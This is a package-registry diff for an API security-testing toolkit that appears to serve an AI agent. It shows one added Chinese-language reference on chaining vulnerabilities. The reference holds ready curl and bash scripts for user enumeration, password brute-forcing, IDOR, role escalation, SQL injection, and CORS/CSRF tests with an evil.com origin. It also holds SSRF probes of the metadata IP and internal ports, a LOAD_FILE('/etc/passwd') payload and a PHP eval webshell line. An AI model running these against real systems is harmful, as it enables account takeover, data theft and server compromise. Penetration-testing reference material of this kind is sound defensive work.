opencode-api-security-testing 3.0.10 → 3.0.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (71) hide show
  1. package/README.md +74 -0
  2. package/SKILL.md +1797 -0
  3. package/core/advanced_recon.py +788 -0
  4. package/core/agentic_analyzer.py +445 -0
  5. package/core/analyzers/api_parser.py +210 -0
  6. package/core/analyzers/response_analyzer.py +212 -0
  7. package/core/analyzers/sensitive_finder.py +184 -0
  8. package/core/api_fuzzer.py +422 -0
  9. package/core/api_interceptor.py +525 -0
  10. package/core/api_parser.py +955 -0
  11. package/core/browser_tester.py +479 -0
  12. package/core/cloud_storage_tester.py +1330 -0
  13. package/core/collectors/__init__.py +23 -0
  14. package/core/collectors/api_path_finder.py +300 -0
  15. package/core/collectors/browser_collect.py +645 -0
  16. package/core/collectors/browser_collector.py +411 -0
  17. package/core/collectors/http_client.py +111 -0
  18. package/core/collectors/js_collector.py +490 -0
  19. package/core/collectors/js_parser.py +780 -0
  20. package/core/collectors/url_collector.py +319 -0
  21. package/core/context_manager.py +682 -0
  22. package/core/deep_api_tester_v35.py +844 -0
  23. package/core/deep_api_tester_v55.py +366 -0
  24. package/core/dynamic_api_analyzer.py +532 -0
  25. package/core/http_client.py +179 -0
  26. package/core/models.py +296 -0
  27. package/core/orchestrator.py +890 -0
  28. package/core/prerequisite.py +227 -0
  29. package/core/reasoning_engine.py +1042 -0
  30. package/core/response_classifier.py +606 -0
  31. package/core/runner.py +938 -0
  32. package/core/scan_engine.py +599 -0
  33. package/core/skill_executor.py +435 -0
  34. package/core/skill_executor_v2.py +670 -0
  35. package/core/skill_executor_v3.py +704 -0
  36. package/core/smart_analyzer.py +687 -0
  37. package/core/strategy_pool.py +707 -0
  38. package/core/testers/auth_tester.py +264 -0
  39. package/core/testers/idor_tester.py +200 -0
  40. package/core/testers/sqli_tester.py +211 -0
  41. package/core/testing_loop.py +655 -0
  42. package/core/utils/base_path_dict.py +255 -0
  43. package/core/utils/payload_lib.py +167 -0
  44. package/core/utils/ssrf_detector.py +220 -0
  45. package/core/verifiers/vuln_verifier.py +536 -0
  46. package/package.json +1 -1
  47. package/references/README.md +72 -0
  48. package/references/asset-discovery.md +119 -0
  49. package/references/fuzzing-patterns.md +129 -0
  50. package/references/graphql-guidance.md +108 -0
  51. package/references/intake.md +84 -0
  52. package/references/pua-agent.md +192 -0
  53. package/references/report-template.md +156 -0
  54. package/references/rest-guidance.md +76 -0
  55. package/references/severity-model.md +76 -0
  56. package/references/test-matrix.md +86 -0
  57. package/references/validation.md +78 -0
  58. package/references/vulnerabilities/01-sqli-tests.md +1128 -0
  59. package/references/vulnerabilities/02-user-enum-tests.md +423 -0
  60. package/references/vulnerabilities/03-jwt-tests.md +499 -0
  61. package/references/vulnerabilities/04-idor-tests.md +362 -0
  62. package/references/vulnerabilities/05-sensitive-data-tests.md +466 -0
  63. package/references/vulnerabilities/06-biz-logic-tests.md +501 -0
  64. package/references/vulnerabilities/07-security-config-tests.md +511 -0
  65. package/references/vulnerabilities/08-brute-force-tests.md +457 -0
  66. package/references/vulnerabilities/09-vulnerability-chains.md +465 -0
  67. package/references/vulnerabilities/10-auth-tests.md +537 -0
  68. package/references/vulnerabilities/11-graphql-tests.md +355 -0
  69. package/references/vulnerabilities/12-ssrf-tests.md +396 -0
  70. package/references/vulnerabilities/README.md +148 -0
  71. package/references/workflows.md +192 -0
@@ -0,0 +1,465 @@
1
+ # 漏洞关联联想
2
+
3
+ ## 1. 概述
4
+
5
+ 漏洞关联联想是指当发现一个漏洞时,思考该漏洞能串联哪些其他漏洞,形成攻击链。
6
+
7
+ ## 2. 漏洞关联矩阵
8
+
9
+ | 发现的漏洞 | 可能关联的漏洞 | 利用路径 |
10
+ |-----------|---------------|----------|
11
+ | 用户枚举 | 暴力破解、密码重置 | 确认用户 → 定向爆破/重置 |
12
+ | SQL注入 | 认证绕过、数据泄露 | 获取数据 → 横向移动 |
13
+ | JWT泄露 | 越权、敏感数据 | 使用Token → 访问他人数据 |
14
+ | IDOR | 敏感数据、垂直越权 | 遍历ID → 获取数据/提权 |
15
+ | 文件上传 | 远程代码执行 | 上传Webshell → 服务器沦陷 |
16
+ | SSRF | 内网渗透 | 内网探测 → Redis/MySQL利用 |
17
+ | CORS | CSRF、数据窃取 | 跨域请求 → 窃取数据 |
18
+ | 暴力破解 | 账户接管 | 破解密码 → 登录系统 |
19
+
20
+ ## 3. 攻击链模板
21
+
22
+ ### 3.1 信息收集 → 利用链
23
+
24
+ ```
25
+ 信息收集类漏洞(低难度)
26
+
27
+ 利用类漏洞(中高难度)
28
+
29
+ 数据获取/权限提升
30
+
31
+ 持久化/横向移动
32
+ ```
33
+
34
+ ### 3.2 典型攻击链
35
+
36
+ ```markdown
37
+ 攻击链1:用户枚举 → 暴力破解 → 越权
38
+ ├── 1. 用户枚举
39
+ │ GET /sys/user/checkOnlyUser?username=admin
40
+ │ → 确认 admin 存在
41
+ ├── 2. 暴力破解
42
+ │ POST /api/login {"username":"admin","password":"admin123"}
43
+ │ → 登录成功,获取 token
44
+ └── 3. 越权操作
45
+ GET /api/user/info?userId=2
46
+ Headers: {"Authorization": "Bearer xxx"}
47
+ → 越权访问他人数据
48
+
49
+ 攻击链2:IDOR → 数据泄露 → 垂直越权
50
+ ├── 1. IDOR
51
+ │ GET /api/order?orderId=100
52
+ │ → 可遍历获取他人订单
53
+ ├── 2. 数据分析
54
+ │ → 发现订单中有 userId 字段
55
+ └── 3. 垂直越权
56
+ POST /api/user/role {"userId": 100, "role": "admin"}
57
+ → 提升为管理员
58
+
59
+ 攻击链3:SQL注入 → 文件读取 → 密钥泄露
60
+ ├── 1. SQL注入
61
+ │ GET /api/user?id=1' AND SLEEP(5)--
62
+ │ → 时间盲注确认注入
63
+ ├── 2. 文件读取
64
+ │ GET /api/user?id=1' UNION SELECT 1,LOAD_FILE('/etc/passwd')--
65
+ │ → 获取系统用户
66
+ └── 3. SSH登录
67
+ ssh admin@server
68
+ → 服务器沦陷
69
+ ```
70
+
71
+ ## 4. 漏洞优先级排序
72
+
73
+ ### 4.1 按利用难易度
74
+
75
+ | 优先级 | 漏洞类型 | 利用难度 | 说明 |
76
+ |--------|----------|----------|------|
77
+ | 1 | 用户枚举 | 低 | 直接请求即可确认 |
78
+ | 2 | IDOR | 低 | 修改参数值 |
79
+ | 3 | 敏感信息泄露 | 低 | 查看响应 |
80
+ | 4 | 暴力破解 | 中 | 需要多次请求 |
81
+ | 5 | JWT伪造 | 中 | 需要算法理解 |
82
+ | 6 | SQL注入 | 中 | 需要一定技巧 |
83
+ | 7 | 垂直越权 | 中 | 需要权限理解 |
84
+ | 8 | 命令注入 | 高 | 需要环境配合 |
85
+
86
+ ### 4.2 按影响程度
87
+
88
+ | 影响 | 漏洞类型 | 后果 |
89
+ |------|----------|------|
90
+ | 严重 | 命令注入 | 服务器完全沦陷 |
91
+ | 严重 | SQL注入 | 数据库拖库 |
92
+ | 严重 | 垂直越权 | 获取管理员权限 |
93
+ | 高 | 账户接管 | 冒充用户 |
94
+ | 高 | 敏感数据泄露 | 数据外泄 |
95
+ | 中 | 水平越权 | 他人数据访问 |
96
+ | 中 | CSRF | 用户操作被伪造 |
97
+ | 低 | 信息收集 | 辅助攻击 |
98
+
99
+ ## 5. 单漏洞深度联想
100
+
101
+ ### 5.1 发现 SQL 注入后
102
+
103
+ ```
104
+ SQL注入
105
+
106
+ ┌─────────────────────────────────────┐
107
+ │ 1. 认证绕过 │
108
+ │ ' OR '1'='1 绕过登录 │
109
+ └─────────────────────────────────────┘
110
+
111
+ ┌─────────────────────────────────────┐
112
+ │ 2. 数据获取 │
113
+ │ UNION SELECT 获取用户表 │
114
+ │ → 邮箱、手机号、密码Hash │
115
+ └─────────────────────────────────────┘
116
+
117
+ ┌─────────────────────────────────────┐
118
+ │ 3. 密码破解 │
119
+ │ Hash → 明文(如果弱Hash) │
120
+ └─────────────────────────────────────┘
121
+
122
+ ┌─────────────────────────────────────┐
123
+ │ 4. 横向移动 │
124
+ │ 使用破解的密码尝试其他系统 │
125
+ └─────────────────────────────────────┘
126
+ ```
127
+
128
+ ### 5.2 发现 JWT Token 后
129
+
130
+ ```
131
+ JWT Token
132
+
133
+ ┌─────────────────────────────────────┐
134
+ │ 1. Token 有效性验证 │
135
+ │ 使用 Token 访问其他接口 │
136
+ └─────────────────────────────────────┘
137
+
138
+ ┌─────────────────────────────────────┐
139
+ │ 2. 权限提升 │
140
+ │ 篡改 payload 中的 role/userId │
141
+ │ → 伪造 admin/提升权限 │
142
+ └─────────────────────────────────────┘
143
+
144
+ ┌─────────────────────────────────────┐
145
+ │ 3. 敏感操作 │
146
+ │ 修改密码、删除数据、管理功能 │
147
+ └─────────────────────────────────────┘
148
+ ```
149
+
150
+ ### 5.3 发现文件上传后
151
+
152
+ ```
153
+ 文件上传漏洞
154
+
155
+ ┌─────────────────────────────────────┐
156
+ │ 1. 上传Webshell │
157
+ │ <?php @eval($_POST['cmd']); ?> │
158
+ └─────────────────────────────────────┘
159
+
160
+ ┌─────────────────────────────────────┐
161
+ │ 2. 获取webshell │
162
+ │ 访问上传的文件路径 │
163
+ └─────────────────────────────────────┘
164
+
165
+ ┌─────────────────────────────────────┐
166
+ │ 3. 服务器接管 │
167
+ │ 执行命令、读取配置文件、横向移动 │
168
+ └─────────────────────────────────────┘
169
+ ```
170
+
171
+ ## 6. 漏洞组合利用
172
+
173
+ ### 6.1 社工+技术组合
174
+
175
+ ```markdown
176
+ 1. 用户枚举
177
+ → 确认 admin, test, developer 存在
178
+
179
+ 2. LinkedIn 社工
180
+ → 收集这些用户的公司、职位信息
181
+
182
+ 3. 生成社工密码
183
+ → Company123!, Test@2024, Dev@2024
184
+
185
+ 4. 暴力破解
186
+ → 使用社工密码提高成功率
187
+ ```
188
+
189
+ ### 6.2 信息泄露+越权组合
190
+
191
+ ```markdown
192
+ 1. Swagger 文档泄露
193
+ → 发现 /api/user/{id}/modify 接口
194
+
195
+ 2. IDOR
196
+ → 修改 id 参数遍历
197
+
198
+ 3. 结合
199
+ → 遍历修改所有用户信息
200
+ ```
201
+
202
+ ## 7. 测试检查清单
203
+
204
+ ```
205
+ □ 发现漏洞后立即思考关联
206
+ □ 绘制攻击链路径
207
+ □ 评估每个环节的可行性
208
+ □ 检查漏洞优先级
209
+ □ 验证关联漏洞
210
+ □ 输出完整攻击链报告
211
+ ```
212
+
213
+ ## 8. 漏洞关联快速查询表
214
+
215
+ | 发现的漏洞 | 第一步 | 第二步 | 最终目标 |
216
+ |------------|--------|--------|----------|
217
+ | 用户枚举 | 确认用户 | 暴力破解 | 账户接管 |
218
+ | SQL注入 | 获取数据 | 密码破解 | 横向移动 |
219
+ | JWT | 验证Token | 权限提升 | 管理员 |
220
+ | IDOR | 遍历ID | 数据分析 | 批量获取 |
221
+ | SSRF | 内网探测 | 服务利用 | 内网沦陷 |
222
+ | CORS | 窃取数据 | 社工攻击 | 账号接管 |
223
+ | 上传 | Webshell | 命令执行 | 服务器 |
224
+
225
+ ## 9. curl验证示例
226
+
227
+ ### 9.1 攻击链1:用户枚举 → 暴力破解 → 越权
228
+
229
+ ```bash
230
+ #!/bin/bash
231
+ # 攻击链验证脚本
232
+
233
+ TARGET="http://api"
234
+ USERNAME="admin"
235
+
236
+ echo "=== 攻击链1:用户枚举 → 暴力破解 → 越权 ==="
237
+
238
+ # Step 1: 用户枚举
239
+ echo "[1] 用户枚举测试"
240
+ curl -s -X POST "$TARGET/login" \
241
+ -H "Content-Type: application/json" \
242
+ -d "{\"username\":\"$USERNAME\",\"password\":\"wrong\"}" > step1_enum.json
243
+
244
+ if grep -q "密码错误" step1_enum.json; then
245
+ echo " → 用户 $USERNAME 存在(密码错误)"
246
+ elif grep -q "不存在" step1_enum.json; then
247
+ echo " → 用户 $USERNAME 不存在"
248
+ exit 1
249
+ fi
250
+
251
+ # Step 2: 暴力破解
252
+ echo "[2] 暴力破解测试"
253
+ PASSWORDS=("123456" "admin" "admin123" "password" "qwerty")
254
+ SUCCESS=false
255
+
256
+ for pwd in "${PASSWORDS[@]}"; do
257
+ RESP=$(curl -s -X POST "$TARGET/login" \
258
+ -H "Content-Type: application/json" \
259
+ -d "{\"username\":\"$USERNAME\",\"password\":\"$pwd\"}")
260
+
261
+ if echo "$RESP" | grep -q '"token"'; then
262
+ echo " → 密码破解成功: $pwd"
263
+ TOKEN=$(echo "$RESP" | jq -r '.token')
264
+ SUCCESS=true
265
+ break
266
+ fi
267
+ done
268
+
269
+ if [ "$SUCCESS" = false ]; then
270
+ echo " → 密码破解失败"
271
+ exit 1
272
+ fi
273
+
274
+ # Step 3: 越权操作
275
+ echo "[3] 越权测试"
276
+ curl -s -X GET "$TARGET/user/info?userId=2" \
277
+ -H "Authorization: Bearer $TOKEN" > step3_idor.json
278
+
279
+ if grep -q "userId" step3_idor.json && ! grep -q "无权限" step3_idor.json; then
280
+ echo " → 越权成功:访问了 userId=2 的数据"
281
+ cat step3_idor.json | jq .
282
+ else
283
+ echo " → 越权失败:无法访问他人数据"
284
+ fi
285
+
286
+ echo ""
287
+ echo "=== 攻击链验证完成 ==="
288
+ ```
289
+
290
+ ### 9.2 攻击链2:IDOR → 数据泄露 → 垂直越权
291
+
292
+ ```bash
293
+ #!/bin/bash
294
+ # 攻击链验证脚本
295
+
296
+ TARGET="http://api"
297
+ TOKEN="user_token_here"
298
+
299
+ echo "=== 攻击链2:IDOR → 数据泄露 → 垂直越权 ==="
300
+
301
+ # Step 1: IDOR测试
302
+ echo "[1] IDOR测试 - 遍历订单"
303
+ for order_id in 100 101 102 103 104; do
304
+ RESP=$(curl -s -X GET "$TARGET/order?orderId=$order_id" \
305
+ -H "Authorization: Bearer $TOKEN")
306
+
307
+ if echo "$RESP" | grep -q '"orderId"'; then
308
+ echo " → orderId=$order_id: 可访问"
309
+ echo "$RESP" | jq .
310
+ fi
311
+ done
312
+
313
+ # Step 2: 数据分析
314
+ echo "[2] 分析订单数据"
315
+ echo " → 发现订单中包含 userId 字段"
316
+
317
+ # Step 3: 垂直越权
318
+ echo "[3] 垂直越权测试 - 修改角色"
319
+ curl -s -X POST "$TARGET/user/role" \
320
+ -H "Authorization: Bearer $TOKEN" \
321
+ -H "Content-Type: application/json" \
322
+ -d '{"userId": 2, "role": "admin"}' > step3_privesc.json
323
+
324
+ if grep -q '"success":true' step3_privesc.json; then
325
+ echo " → 垂直越权成功:已将 userId=2 提升为admin"
326
+ cat step3_privesc.json | jq .
327
+ else
328
+ echo " → 垂直越权失败"
329
+ fi
330
+
331
+ echo ""
332
+ echo "=== 攻击链验证完成 ==="
333
+ ```
334
+
335
+ ### 9.3 攻击链3:SQL注入 → 数据获取 → 密码破解
336
+
337
+ ```bash
338
+ #!/bin/bash
339
+ # 攻击链验证脚本
340
+
341
+ TARGET="http://api"
342
+
343
+ echo "=== 攻击链3:SQL注入 → 数据获取 → 密码破解 ==="
344
+
345
+ # Step 1: SQL注入测试
346
+ echo "[1] SQL注入测试"
347
+ PAYLOAD="' OR '1'='1"
348
+ RESP=$(curl -s -X GET "$TARGET/user?id=1$PAYLOAD" \
349
+ -H "Content-Type: application/json")
350
+
351
+ if echo "$RESP" | grep -qiE "sql|mysql|oracle|error|syntax"; then
352
+ echo " → 发现SQL错误,可能存在注入"
353
+ echo "$RESP" | head -c 200
354
+ else
355
+ echo " → 未发现SQL错误"
356
+ fi
357
+
358
+ # Step 2: UNION注入获取数据
359
+ echo "[2] UNION注入获取用户数据"
360
+ PAYLOAD="' UNION SELECT 1,2,username,password,5,6,7 FROM users--"
361
+ RESP=$(curl -s -X GET "$TARGET/user?id=1 $PAYLOAD")
362
+
363
+ if echo "$RESP" | grep -q "admin\|root\|user"; then
364
+ echo " → UNION注入成功,获取到用户名"
365
+ fi
366
+
367
+ # Step 3: 分析密码Hash
368
+ echo "[3] 分析密码Hash"
369
+ echo " → 发现密码Hash,可尝试离线破解"
370
+
371
+ echo ""
372
+ echo "=== 攻击链验证完成 ==="
373
+ ```
374
+
375
+ ### 9.4 攻击链4:CORS → CSRF → 会话窃取
376
+
377
+ ```bash
378
+ #!/bin/bash
379
+ # 攻击链验证脚本
380
+
381
+ TARGET="http://api"
382
+
383
+ echo "=== 攻击链4:CORS → CSRF → 会话窃取 ==="
384
+
385
+ # Step 1: CORS配置测试
386
+ echo "[1] CORS配置测试"
387
+ curl -s -I -H "Origin: https://evil.com" \
388
+ "$TARGET/user/info" > cors_headers.txt
389
+
390
+ ACAO=$(grep -i "Access-Control-Allow-Origin:" cors_headers.txt)
391
+ ACAC=$(grep -i "Access-Control-Allow-Credentials:" cors_headers.txt)
392
+
393
+ echo " → $ACAO"
394
+ echo " → $ACAC"
395
+
396
+ if echo "$ACAO" | grep -q "\*"; then
397
+ if echo "$ACAC" | grep -q "true"; then
398
+ echo " → [严重] ACAO:* + ACAC:true,可配合CSRF窃取数据"
399
+ else
400
+ echo " → [中危] ACAO:* 但无ACAC"
401
+ fi
402
+ fi
403
+
404
+ # Step 2: CSRF测试
405
+ echo "[2] CSRF测试"
406
+ curl -s -X POST "$TARGET/user/update" \
407
+ -H "Origin: https://evil.com" \
408
+ -H "Content-Type: application/json" \
409
+ -d '{"userId": 1, "email": "hacked@evil.com"}' > csrf_test.json
410
+
411
+ if grep -q "success" csrf_test.json; then
412
+ echo " → CSRF攻击可能成功"
413
+ else
414
+ echo " → CSRF防护可能生效"
415
+ fi
416
+
417
+ echo ""
418
+ echo "=== 攻击链验证完成 ==="
419
+ ```
420
+
421
+ ### 9.5 攻击链5:SSRF → 内网探测 → 服务利用
422
+
423
+ ```bash
424
+ #!/bin/bash
425
+ # 攻击链验证脚本
426
+
427
+ TARGET="http://api"
428
+
429
+ echo "=== 攻击链5:SSRF → 内网探测 → 服务利用 ==="
430
+
431
+ # Step 1: SSRF测试
432
+ echo "[1] SSRF测试"
433
+ PAYLOADS=(
434
+ "http://127.0.0.1"
435
+ "http://localhost"
436
+ "http://169.254.169.254"
437
+ "http://192.168.1.1"
438
+ )
439
+
440
+ for payload in "${PAYLOADS[@]}"; do
441
+ RESP=$(curl -s -X GET "$TARGET/fetch?url=$payload")
442
+
443
+ if echo "$RESP" | grep -qiE "root:|apache|nginx|mysql|redis"; then
444
+ echo " → SSRF成功: $payload"
445
+ echo "$RESP" | head -c 300
446
+ elif echo "$RESP" | grep -qi "connection\|refused\|timeout"; then
447
+ echo " → $payload: 连接被拒绝(可能有防护)"
448
+ else
449
+ echo " → $payload: 无明显响应"
450
+ fi
451
+ done
452
+
453
+ # Step 2: 内网端口探测
454
+ echo "[2] 内网端口探测"
455
+ for port in 80 443 3306 6379 8080; do
456
+ RESP=$(curl -s -m 3 -X GET "$TARGET/fetch?url=http://127.0.0.1:$port")
457
+
458
+ if [ $? -eq 0 ]; then
459
+ echo " → 端口 $port: 开放"
460
+ fi
461
+ done
462
+
463
+ echo ""
464
+ echo "=== 攻击链验证完成 ==="
465
+ ```